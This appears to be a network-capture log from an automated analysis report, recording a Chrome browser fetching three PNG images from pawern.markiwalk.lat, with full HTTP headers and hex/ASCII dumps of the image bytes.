2024-10-03 16:18:15 UTC	417	OUT	GET /master/us217/logo.png HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:15 UTC	801	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:15 GMT Content-Type: image/png Content-Length: 10260 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:27:01 GMT last-modified: Thu, 05 Sep 2024 16:49:31 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 3074 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a3a18cBJJwnH1QLlwTRK50UUoCqcIsCahvuqZUSP44s%2F%2Bo95CKsBW1piwOivrSpuSukNAZjD1YrHmC2E3MApQaTLGCAV0RH9yQkcvBy1x%2BbCxck2NpzuI9QammHLqa9LxoAgaauk8Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f3fdebe7c94-EWR
2024-10-03 16:18:15 UTC	568	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 c1 00 00 00 ff 08 03 00 00 00 27 80 fb b2 00 00 07 e2 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 39 2e 31 2d 63 30 30 31 20 37 39 2e 31 34 36 32 38 39 39 2c 20 32 30 32 33 2f 30 36 2f 32 35 2d 32 30 3a 30 31 3a 35 35 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f Data Ascii: PNGIHDR'iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 9.1-c001 79.1462899, 2023/06/25-20:01:55 "> <rdf:RDF xmlns:rdf="http://
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 23 22 20 78 6d 70 3a 43 72 65 61 74 6f 72 54 6f 6f 6c 3d 22 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 22 20 78 6d 70 3a 43 72 65 61 74 65 44 61 74 65 3d 22 32 30 32 31 2d 30 39 2d 31 35 54 32 32 3a 35 31 3a 30 39 2b 30 38 3a 30 30 22 20 78 6d 70 3a 4d 6f 64 69 66 79 44 61 74 65 3d 22 32 30 32 34 2d 30 38 2d 32 38 54 32 31 3a 35 30 3a 35 38 2b 30 38 3a 30 30 22 20 78 6d 70 3a 4d 65 74 61 64 61 74 61 44 61 74 65 3d 22 32 30 32 34 2d 30 38 2d 32 38 54 32 31 3a 35 30 3a 35 38 2b 30 38 3a 30 30 22 20 64 63 3a 66 6f 72 6d 61 74 3d 22 69 6d 61 67 65 2f 70 6e 67 22 20 70 68 6f 74 6f 73 68 6f 70 3a 43 6f 6c 6f 72 4d 6f 64 65 3d 22 33 22 20 78 6d 70 4d 4d 3a 49 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a Data Ascii: #" xmp:CreatorTool="Adobe Photoshop 21.1 (Windows)" xmp:CreateDate="2021-09-15T22:51:09+08:00" xmp:ModifyDate="2024-08-28T21:50:58+08:00" xmp:MetadataDate="2024-08-28T21:50:58+08:00" dc:format="image/png" photoshop:ColorMode="3" xmpMM:InstanceID="xmp.iid:
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 20 28 57 69 6e 64 6f 77 73 29 22 20 73 74 45 76 74 3a 63 68 61 6e 67 65 64 3d 22 2f 22 2f 3e 20 3c 2f 72 64 66 3a 53 65 71 3e 20 3c 2f 78 6d 70 4d 4d 3a 48 69 73 74 6f 72 79 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 22 72 22 3f 3e 62 81 d1 98 00 00 00 09 70 48 59 73 00 00 2e 23 00 00 2e 23 01 78 a5 3f 76 00 00 03 00 50 4c 54 45 47 70 4c e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 19 53 98 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 1f 33 e5 Data Ascii: (Windows)" stEvt:changed="/"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>bpHYs.#.#x?vPLTEGpL3333333333333333333333S333333333
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: d8 25 b3 e6 34 4f b9 ab 21 a2 cc db ab 3e 78 ef 11 e3 d7 7b ef 40 45 b3 bb 8e f5 1f 98 d4 fa e8 98 89 23 56 37 9e 7c 6f f2 02 da 24 77 4b 58 78 bc ed ba 9e 79 3b ba 64 14 cf 4a 41 1d f7 e5 dc 2d 7b 6e 31 e1 d9 32 03 2a 0a a5 c4 67 0c ea 74 7d e3 6e 0c 47 f2 d8 76 c3 8e e6 f6 6f 8e ba e8 9d cf 6e 5b 66 2e c7 a9 73 50 d1 a4 c3 ce dc ae 1b 1b 27 f3 0a 4c 1e 95 d6 a5 f8 6c 3a ea 8c 73 2b 2f bc 69 2e db 2d 07 a0 a2 43 87 81 bd b7 4f 66 75 f9 a4 ed ee 6b af 46 ad db fb f9 b3 6f 9a 2b d3 fd 01 a8 ba 2e 67 c9 b6 5e 8d 59 fd 26 b7 69 9d 99 88 5a f3 d5 a3 ef f5 30 57 ae 00 aa 2e 4b 7f f7 68 bb 6c d6 9c 7e ab 6f 1a 97 85 c8 5b b5 a5 60 8d a9 1e 5f 40 d5 55 67 bb 8c bc 86 35 2f 79 d4 8e 25 88 a0 c3 2f 1c 5a 66 aa 4f 0f a8 ba 28 6e f6 80 5f d0 8f d1 93 1a b7 7b 6d 40 Data Ascii: %4O!>x{@E#V7\|o$wKXxy;dJA-{n12*gt}nGvon[f.sP'Ll:s+/i.-COfukFo+.g^Y&iZ0W.Khl~o[`_@Ug5/y%/ZfO(n_{m@
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 01 d4 94 db 4c b0 35 d3 a0 22 66 22 45 cd 3a a2 4c 02 5d 64 c1 87 5f d2 c5 d5 f0 e1 38 5d b4 45 b9 c4 76 74 ba f8 dd a5 bf 7f f3 cd ef 4d a0 d3 77 be 81 1a d4 d4 04 fb 0c 2a 62 8e 50 f4 2a ca 2d a1 9b 5c f8 90 40 17 4f c0 db 99 ab e8 a2 5b 0e 2a bc 46 a7 8b bc f4 2f 3f 7c f3 7b 63 d9 f7 d9 db a8 49 c3 d7 98 20 05 50 91 92 73 3d 45 bd 50 a1 01 dd dc 0d 6f b1 74 33 0a de 76 d1 55 67 54 1a 40 a7 8b bc f4 8f 3f 7d f3 7b 53 e6 e4 33 f7 a3 86 1d 34 41 ba 0f 87 8a 94 21 14 f5 42 a5 d5 74 d3 0d de 06 d1 4d bf 18 78 ea 4d 57 03 60 49 a5 d3 c5 8b 97 fe f9 4f df fc de 18 b3 6f ee 54 d4 b8 67 4d 90 83 50 11 d2 70 14 45 63 50 29 a5 0f 5d 2d 81 a7 be 74 f5 2e 3c 35 a3 ab 6c 54 b9 91 82 1f 2f fd e3 87 3f fe cf 3b 1f 44 24 3c 62 02 dd 0c 15 29 6d 29 3a 0f 4b 2e dd 0d 86 Data Ascii: L5"f"E:L]d_8]EvtMwbP-\@O[*F/?\|{cI Ps=EPot3vUgT@?}{S34A!BtMxMW`IOoTgMPpEcP)]-t.<5lT/?;D$<b)m):K.
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 1a 09 a7 51 b4 34 47 99 0c ba 58 04 87 24 5a 06 a3 5c 13 ca 7a c3 e1 69 56 29 46 99 c5 74 d1 02 4e 3d 29 da 81 ea 30 bc bb 29 f3 e9 54 a8 88 eb 45 d1 72 38 dc 95 cc 4a f9 28 d7 a2 90 b2 d7 e1 d0 86 96 fe 28 d7 9b b2 21 70 18 40 4b b7 1c 94 9b 4c 59 2e 9c 96 53 34 0a d5 e0 81 3b 4c 99 13 50 b5 60 21 45 8b e1 b0 95 96 ae a8 d0 96 b2 7b 61 17 d3 8d 95 c6 37 44 b9 78 ba c8 82 dd 58 5a 8e a0 42 4f ca 46 c2 29 96 a2 4f 70 e5 a6 2c 33 65 6e 87 aa 05 2d 29 ba 26 06 0e 3d 69 b9 01 15 66 d2 c5 2e d8 f4 a7 a5 0d 2a e4 14 51 36 01 36 8b 59 a5 0b 2a 8c a3 6c 7d 3a 1c 62 26 51 d4 1c 57 6a ea a7 a6 cc b3 50 b5 61 1c 45 23 e0 94 c0 4a e3 63 50 e1 18 5d dc 04 9b 54 5a 72 51 e9 7a ca 46 c0 a6 3d ab c4 a2 c2 99 64 ca 76 c2 e9 7a 8a 3a e3 4a bd 69 ca 7c 0d 55 2b 76 50 94 06 Data Ascii: Q4GX$Z\ziV)FtN=)0)TEr8J((!p@KLY.S4;LP`!E{a7DxXZBOF)Op,3en-)&=if.Q66Yl}:b&QWjPaE#JcP]TZrQzF=dvz:Ji\|U+vP
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 4e 84 25 9e 96 a1 10 a5 d1 c5 bb 00 9a d0 d2 1c 92 39 74 b1 03 c0 eb b4 2c 84 28 8d b2 56 08 90 40 d1 93 f0 e9 c0 32 63 cc 6d 33 a0 ea 9e b6 14 65 c0 92 47 cb 18 88 72 e9 62 00 d0 81 96 7c c8 d6 52 f6 2a 10 33 89 96 89 10 bd 4b 17 b1 b0 64 52 d4 0c 3e 1d 9c 6e 8c f9 0c aa 2e 6a 40 d1 3a 58 de a2 65 1c 44 2d e9 62 32 b0 9c 96 ae 90 a5 52 d6 28 1d 99 ac d2 05 a2 33 45 94 1d 85 65 37 45 4f c0 9f 4d c6 98 93 2f 43 d5 49 cd 29 fa 04 95 ce f4 63 a5 d1 71 90 f5 a5 8b 8e 68 43 cb 2e c8 76 d1 c5 06 dc c8 2a 1d 21 6b 4b 59 13 54 8a b9 86 92 d1 2d e1 c7 e1 db 8c 31 b7 0d 87 aa a3 da 51 f4 2e 2a 14 d3 b2 16 2e 9e a0 8b d9 18 ca 4a fd 1a c2 c5 bd 94 dd 84 e3 b4 e4 c3 45 1e 5d 74 40 85 ce 14 1d 87 1f d3 de 34 c6 fc 1a aa ce 1a 47 d1 28 54 48 a5 25 0d 2e 16 d3 c5 4d 67 Data Ascii: N%9t,(V@2cm3eGrb\|R3KdR>n.j@:XeD-b2R(3Ee7EOM/CI)cqhC.v!kKYT-1Q.*.JE]t@4G(TH%.Mg
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: f7 7a 8a 92 07 e7 40 a9 4a 71 03 28 2b dc 9d 82 60 c7 19 6c 27 c2 b2 91 2e 32 e1 94 38 a8 88 b2 36 1d a0 54 a0 e2 51 94 8d ef 5d 0f 81 7a 33 48 51 22 c2 d2 85 2e f2 60 d7 72 66 36 65 c7 07 42 29 bb 81 cd 28 eb 73 7e 16 aa c4 33 c8 11 84 a7 25 5d b4 43 b0 e6 a9 c9 94 4d ce 80 52 92 99 93 e9 62 e2 4e 58 b2 19 28 09 61 ca a7 6c 7d 3a 02 2c e9 59 48 d9 27 83 72 a0 94 ac e1 f2 a1 74 d1 a4 75 1c ca 6d 67 80 d1 71 08 d3 7d 74 b1 15 95 d2 93 56 d3 45 76 fd bb a0 54 08 ad ff c3 b7 df 7e f7 23 05 e3 07 c4 a3 d4 7d 0c d0 17 e1 8a a5 8b 01 28 37 ab 6b 36 5d f4 1b 7c 17 94 f2 f0 df ff eb b7 97 be fb 91 92 fc bc 58 a0 25 03 b4 46 d8 12 28 cb 46 89 7a 83 87 d0 4d 93 a4 38 28 e5 e9 3f ff 97 3f ff fd 2f 97 fe e9 e2 45 4a 86 2c ca ca 67 95 c5 08 db dd 74 71 75 62 d2 08 ba Data Ascii: z@Jq(+`l'.286TQ]z3HQ".`rf6eB)(s~3%]CMRbNX(al}:,YH'rtumgq}tVEvT~#}(7k6]\|X%F(FzM8(??/EJ,gtqub
2024-10-03 16:18:15 UTC	109	IN	Data Raw: 37 1e 7a ec bb fd fd 47 5f 9e 0a a5 ea a4 69 8f 1e 2a e8 6e 24 dd 97 3d f7 f1 07 2b 5f 99 0a a5 ea b8 e1 6f 1c fc fa fd 0b 1f df 5c ee e3 3b b7 6c 7a 71 ee 0b af 0c 87 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 94 52 4a 29 a5 54 c4 fc 7f 7d bd 6a 91 d1 77 f1 19 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: 7zG_i*n$=+_o\;lzqRJ)RJ)RJ)RJ)RJ)RJ)T}jwIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49772	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:15 UTC	421	OUT	GET /master/us217/flaglogo.png HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:15 UTC	798	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:15 GMT Content-Type: image/png Content-Length: 1781 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:27:01 GMT last-modified: Thu, 05 Sep 2024 16:49:31 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 3074 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ioK7FHc3ai%2BGR972C0lz47JvI8s2teHHQ87zUJt7FGku7gP9QqUaNkJIWuStIqZzOTiZnQbVI9hB6GB5op3cOXtTsNCxQl1j8HsiAAECdjrUSdCea2FHh%2BePVW7XlErQt8Nt9pzC5Q%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f400f8918bc-EWR
2024-10-03 16:18:15 UTC	571	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 06 bc 49 44 41 54 78 01 ed d8 03 74 5c 5b 17 07 f0 9d 64 d8 78 b5 0b 75 6a db b6 1f ca 38 99 bc 38 13 ab 76 27 cf 66 6d c4 c6 b3 5f ed a8 b6 dd 26 35 fe df be 67 cd fd 14 4d e6 19 67 ad df 5d fb 84 7b fd ef 3e 23 fa 67 fd de cb 60 c8 6e 92 90 90 3f dc 60 c8 d7 bd f6 ea 57 e1 06 43 41 64 6e c2 3a bf eb 09 09 2f 5c 4c 48 68 cf b4 8c cc 65 de 2f d1 e4 ce 13 27 ae 36 ac df b0 67 27 91 df 1d a2 29 68 db 76 09 56 ad da 09 a2 28 4c a5 36 28 26 c2 36 a2 c7 ec 28 5b b5 9d 68 fc 56 22 15 23 d3 d5 f2 87 eb d5 9b d7 47 ad 0e 4d 53 28 82 1e 74 ec b8 08 b1 b1 39 50 2a 43 a0 50 04 a3 75 eb 79 98 3d 2b 1f 96 da 68 f8 db 8f c5 d9 16 cd 51 ea d4 ec 7f 94 38 39 ed 39 32 Data Ascii: PNGIHDR((mIDATxt\[dxuj88v'fm_&5gMg]{>#g`n?`WCAdn:/\LHhe/'6g')hvV(L6(&6([hV"#GMS(t9P*CPuy=+hQ8992
2024-10-03 16:18:15 UTC	1210	IN	Data Raw: e3 4b 45 dd bb bf fd 96 4a c5 49 69 42 d0 bb f7 1b d0 e9 36 71 43 41 a8 53 47 8f ce 9d 97 20 20 20 11 6a 9e 3f 6b eb 50 b4 6a 35 1f 7a 7d 0a cf 5f 98 b1 49 7f 84 f5 89 46 d9 dc d9 b8 32 67 8e 49 ae ce 9e 8d ab 0b 16 14 5f 5b b6 d4 96 d1 7f a3 0a 5f 20 9f ee 9c de a3 b0 b0 14 ac 5d b7 47 fc 43 29 39 2f af 75 48 4d 2d 84 85 45 90 98 b9 e7 9f 5f 8a 3c 9e 39 8d 26 4c 24 39 78 f0 bb f8 ea cb 63 e2 76 47 c4 65 c0 cc b5 a8 c6 43 a2 52 85 65 68 b5 7a f4 ed fb 16 5c 5c d6 42 65 4c aa 4b 97 57 e0 ed bd 51 cc 9c 8d 6d 18 da b6 59 08 7f bf 2d e2 f4 da f2 be a9 d3 1c 04 07 25 83 c8 0f 51 b1 69 30 73 dd 64 0d ab 6c 90 93 e8 10 17 97 f9 68 e5 ca 5d bc 79 49 24 e7 cf b7 33 29 e9 a0 71 06 5d 30 6d da 6a e4 e4 1e 82 42 a1 17 c9 8d 1a f5 11 be e4 e4 c4 e3 20 b9 b3 10 84 36 Data Ascii: KEJIiB6qCASG j?kPj5z}_IF2gI_[_ ]GC)9/uHM-E_<9&L$9xcvGeCRehz\\BeLKWQmY-%Qi0sdlh]yI$3)q]0mjB 6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49774	104.21.57.136	443	6708	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-03 16:18:15 UTC	424	OUT	GET /master/us217/f_guarantee.png HTTP/1.1 Host: pawern.markiwalk.lat Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=fbddb8df413c89a1eda7964e62df79cd
2024-10-03 16:18:15 UTC	798	IN	HTTP/1.1 200 OK Date: Thu, 03 Oct 2024 16:18:15 GMT Content-Type: image/png Content-Length: 6352 Connection: close Cache-Control: public, max-age=604800 expires: Thu, 10 Oct 2024 15:28:31 GMT last-modified: Thu, 05 Sep 2024 16:49:31 GMT x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block x-content-type-options: nosniff vary: User-Agent CF-Cache-Status: HIT Age: 2984 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lQrwcYP8lsft5faTilnG37KxIncinVOahLcgUlz5NFdkV%2FrF49vdGZQDpvlBRIqbgVYvnlgFS83Ok1H71MHTP5m2WzmuvI2n7LMwDsRnQSeg5X6JZrZFaIwt0IDv%2FrUz689zxnYdsA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cce3f40190241ad-EWR
2024-10-03 16:18:15 UTC	571	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 5e 00 00 00 5d 08 03 00 00 00 1b 98 21 f2 00 00 02 7f 50 4c 54 45 00 00 00 d9 d4 c7 db d6 ca de da cc d8 d5 c9 cd cd cc ca c9 c6 99 9a 9a c1 c0 bd 97 98 9d f1 e0 a6 e5 dc bb ee df ab cb c8 c6 a7 a7 aa b5 b5 b4 bc bd ba bb bd c0 f8 e6 af b3 b2 b1 c7 c7 c8 e0 cf 82 8b 8d 8d e9 ce 7a e7 d5 91 d1 bd 7e f3 e0 a1 b7 aa 88 ec d8 90 a7 a9 ac e6 d7 a7 f1 e1 af 87 88 8b e8 cb 6c d7 c6 87 c2 b2 82 cc be 9a dd c8 76 81 7e 7f e5 cf 7d 9e 9f 9e 9f 98 8c cc bc 92 ab 9c 7d 17 18 1c 01 01 03 13 14 1a fb da 6e fc d1 53 f9 d4 54 fa cc 38 05 06 0b fb d7 63 08 0b 15 0a 0b 0f fd d8 67 0e 12 14 0d 0f 18 fc d4 5c f7 d6 5b fe df 6d fe dc 61 fa d2 48 28 28 2b 1d 1f 22 33 34 36 f6 cc 30 ff e1 5d f6 d6 60 fe d8 46 f7 d8 6b fb Data Ascii: PNGIHDR^]!PLTEz~lv~}}nST8cg\[maH((+"3460]`Fk
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 60 dc bf 54 a1 8e 49 5b 50 45 ce cf d1 fe f7 a7 ff e5 57 97 86 4a de bf 43 e2 be 35 fe d4 25 ff fb 8f ee ce 52 e9 c9 4d 33 2d 25 96 89 69 45 3c 32 c2 b1 74 87 7a 63 8a 7d 4c c1 a2 33 a4 93 5e 7a 71 5d 6a 66 5b a7 8c 31 d0 c6 94 d1 b3 36 50 4a 36 ff de 32 aa 94 3c b4 94 35 96 80 2e 44 48 57 b3 99 40 ed ca 3d fd fd ca e7 e6 b8 d0 b8 54 4b 00 00 00 2c 74 52 4e 53 00 1c 09 10 2b 3b 4a cf 82 e9 7a 34 6f 69 ce 90 a0 78 43 b8 5e fe e5 da c8 fe 92 de b2 a7 a1 55 fe ed e0 f9 cb fd f7 c7 b8 f7 ae f2 ba 1e 6a 58 00 00 15 d4 49 44 41 54 68 de ad 9a 87 5f 13 67 18 c7 1b 41 5c 75 d5 51 ed de 33 77 19 97 bb dc 65 5d 2e 21 21 81 24 04 08 04 4c 42 42 c2 0e 20 20 b2 05 01 d9 1b 45 76 d9 ab 94 21 a2 88 22 ee 3d 6b fb 07 f5 b9 80 62 6b 6b ed 78 3e 18 12 3f c9 f7 9e fb bd cf Data Ascii: `TI[PEWJC5%RM3-%iE<2tzc}L3^zq]jf[16PJ62<5.DHW@=TK,tRNS+;Jz4oixC^UjXIDATh_gA\uQ3we].!!$LBB Ev!"=kbkkx>?
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: f6 99 14 f0 62 91 6c ea 96 99 52 a2 dc ca 58 87 83 46 72 ec bd 19 b5 4e 86 20 10 e2 58 44 e3 83 07 f1 f1 1d ba 95 08 0a 41 60 28 dc bd 08 dd ed 20 94 bd 23 8e 4a 9a c4 f5 27 6d 20 fe d1 6a 8d a6 8d 31 ec 7e 65 64 df e3 89 82 79 22 f9 d4 58 04 ce 25 28 2e 8a e4 67 3b 50 c4 3d a2 44 10 60 5f ad 5f 9c 6b aa ab 8b ac aa ea 1f 1b ac c8 4d 42 09 52 89 92 4e 3b 43 c6 da 9d ce 6c a7 12 c5 f2 ce d8 d8 ea d1 5c ce f2 6c 7a b5 f8 b7 d7 f1 82 45 a2 d2 3a 1d c6 25 a1 a9 40 98 ba 6a b9 ca 0c c0 47 9c bd b5 af e0 d2 a5 a9 d2 d2 b0 b0 b0 d2 a9 a9 d2 81 a2 0a 1d c9 de 80 01 86 a7 10 41 0c d9 2e 0c c5 72 a5 9a 6a 85 c2 76 aa f1 e9 ae 3f 6a c3 d9 f6 51 1d 4f 0e 7d e6 06 82 52 39 b5 9f 14 d2 18 82 54 26 a7 c2 55 cc 67 8f 9c 38 77 a9 a0 24 f2 b8 56 cb b6 51 58 51 8c a5 61 fd Data Ascii: blRXFrN XDA`( #J'm j1~edy"X%(.g;P=D`__kMBRN;Cl\lzE:%@jGA.rjv?jQO}R9T&Ug8w$VQXQa
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: 5d d8 0f b7 6b e6 8c 91 57 cc de 83 2b ba aa d2 ba 07 fa a6 2c f3 95 1c dd c0 be ab e3 a3 12 d8 bf aa cb 3a 60 3f b7 16 f8 f0 85 56 a1 30 b3 7d f2 ce 9e d5 69 cb d9 0a 67 3e c0 97 47 90 eb 78 f3 ad 29 1e 8b 3f 16 5f 15 f6 43 bd 79 cc 18 39 ab cf ba 46 c7 1f 8f ae 82 57 73 7a cc fc f3 a5 eb ba 04 b5 14 f0 51 a2 2c 1c 7d 7e e3 54 52 3b e0 83 12 9f 9d 5c 9d 58 fe 1f 04 0a 24 e1 22 91 f1 a4 9e e2 1e 7a 8e d7 0f 96 f2 78 6b f8 be 7a 73 93 31 f2 c8 b1 a1 23 11 43 c7 a3 8f d7 9b cb 8d e3 b9 f3 d1 fb ae b6 59 a3 a2 24 e1 70 88 2b 26 fe 80 07 7e 4c d1 fb 6c 53 3b 20 15 84 87 8b c5 81 c6 71 16 7f e8 39 7e ee 05 be b4 ef 2c e0 65 c0 9e 7d 8e b7 46 5b 47 8d b7 74 cd d1 62 59 14 1f f0 13 b0 1f 7d 81 3f 75 5e 08 a1 3a 9d 58 f4 2d 18 0f 9f 25 c8 e1 98 27 92 fe 11 1f f6 Data Ascii: ]kW+,:`?V0}ig>Gx)?_Cy9FWszQ,}~TR;\X$"zxkzs1#CY$p+&~LlS; q9~,e}F[GtbY}?u^:X-%'
2024-10-03 16:18:15 UTC	1369	IN	Data Raw: a1 cd b5 f2 33 82 28 b6 d0 46 db 6a e0 fd dd c9 71 0c c2 74 d7 62 08 85 75 8c 19 d5 b0 e2 01 5a 20 00 3a 9b b4 2f 93 a3 2d 6a e9 7c 1e 86 c1 bb 33 5c e0 06 a4 d6 e6 13 66 98 b1 30 a1 12 63 96 6e 3e c9 bd f3 e2 74 b2 71 cb 1d 6f 5b 79 19 7c 4e 1d d8 41 e0 87 5c 86 0c 92 49 8f cb 47 68 9a c2 f2 16 c1 32 83 b2 05 ba af 56 7c 7c 45 8b 5a 7d 66 d2 8c 61 c8 d5 b8 11 57 ba 1b 43 10 8a 44 72 35 6c cd 2f 3d 9e 88 67 98 8c f5 c3 cf 86 80 6f be 32 79 61 59 93 0a 46 cb f5 3e e7 4c d9 03 37 60 18 c9 c7 50 dc 1c 3f 98 60 95 d9 6c ab 59 b3 11 a5 06 78 5b 23 81 21 f9 16 3a bf a7 cb 89 79 c0 35 c1 f2 da 13 85 c2 b4 c4 9b c3 f4 53 d3 cc a6 9d 2f d9 6a 9c 8d bb bf 5f 6e 81 4f b6 58 2b c0 51 a0 b8 b5 dd 0c 1c 9b 63 69 40 60 98 3e 7e 7e 2c 50 1d 3d aa 86 38 7f 7e 74 54 bd 5c Data Ascii: 3(FjqtbuZ :/-j\|3\f0cn>tqo[y\|NA\IGh2V\|\|EZ}faWCDr5l/=go2yaYF>L7`P?`lYx[#!:y5S/j_nOX+Qci@`>~~,P=8~tT\
2024-10-03 16:18:15 UTC	305	IN	Data Raw: 30 f2 a6 e1 bf 7d f3 5e 8e df f6 e6 a0 06 cd a9 4e e8 57 42 21 b8 10 9a 4c 96 0b 3a 25 aa a0 56 12 db e3 27 ef 27 5e bc 78 b7 d1 b0 cb cf 6f e3 de cd ff f8 cb 73 ff af 63 ee 4f 36 32 f9 e3 ac 3f a3 69 bf fb 2c 51 18 a3 4a 5c ba 7b 21 11 8a 31 66 82 ce af 6f 5b 12 16 7b e0 fc f7 ef 62 eb 78 3c 93 31 e3 9e bd 2c 4c d3 9c d2 25 3d 82 19 9a d6 f0 64 65 e8 7e 66 68 62 fb 70 46 a5 bb f7 46 5b 7c ea 87 1b fe 25 de 7f 93 cb b0 69 bb ff de 39 61 e6 a3 61 26 f5 7a 51 da c5 86 bb 8d 1e d3 f5 53 89 c2 49 c6 b2 67 5b c0 8e 4a 57 25 0c e9 bf 8c bd 7b 7c 7b f4 9d 67 ee ae 78 0c 9b 76 cc 2e 3d bc 39 0c 5b eb 1d 57 4e dd 6c f4 1d 2c 39 db 77 ec fe 0f 7f 50 e0 b7 6a 16 be 9f fa 74 66 a7 1f 67 fb 91 f2 4e da b0 8b c3 d9 be df 9b 61 d9 bb fe 8e ff 18 01 5b f6 ef 66 31 db af Data Ascii: 0}^NWB!L:%V''^xoscO62?i,QJ\{!1fo[{bx<1,L%=de~fhbpFF[\|%i9aa&zQSIg[JW%{\|{gxv.=9[WNl,9wPjtfgNa[f1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
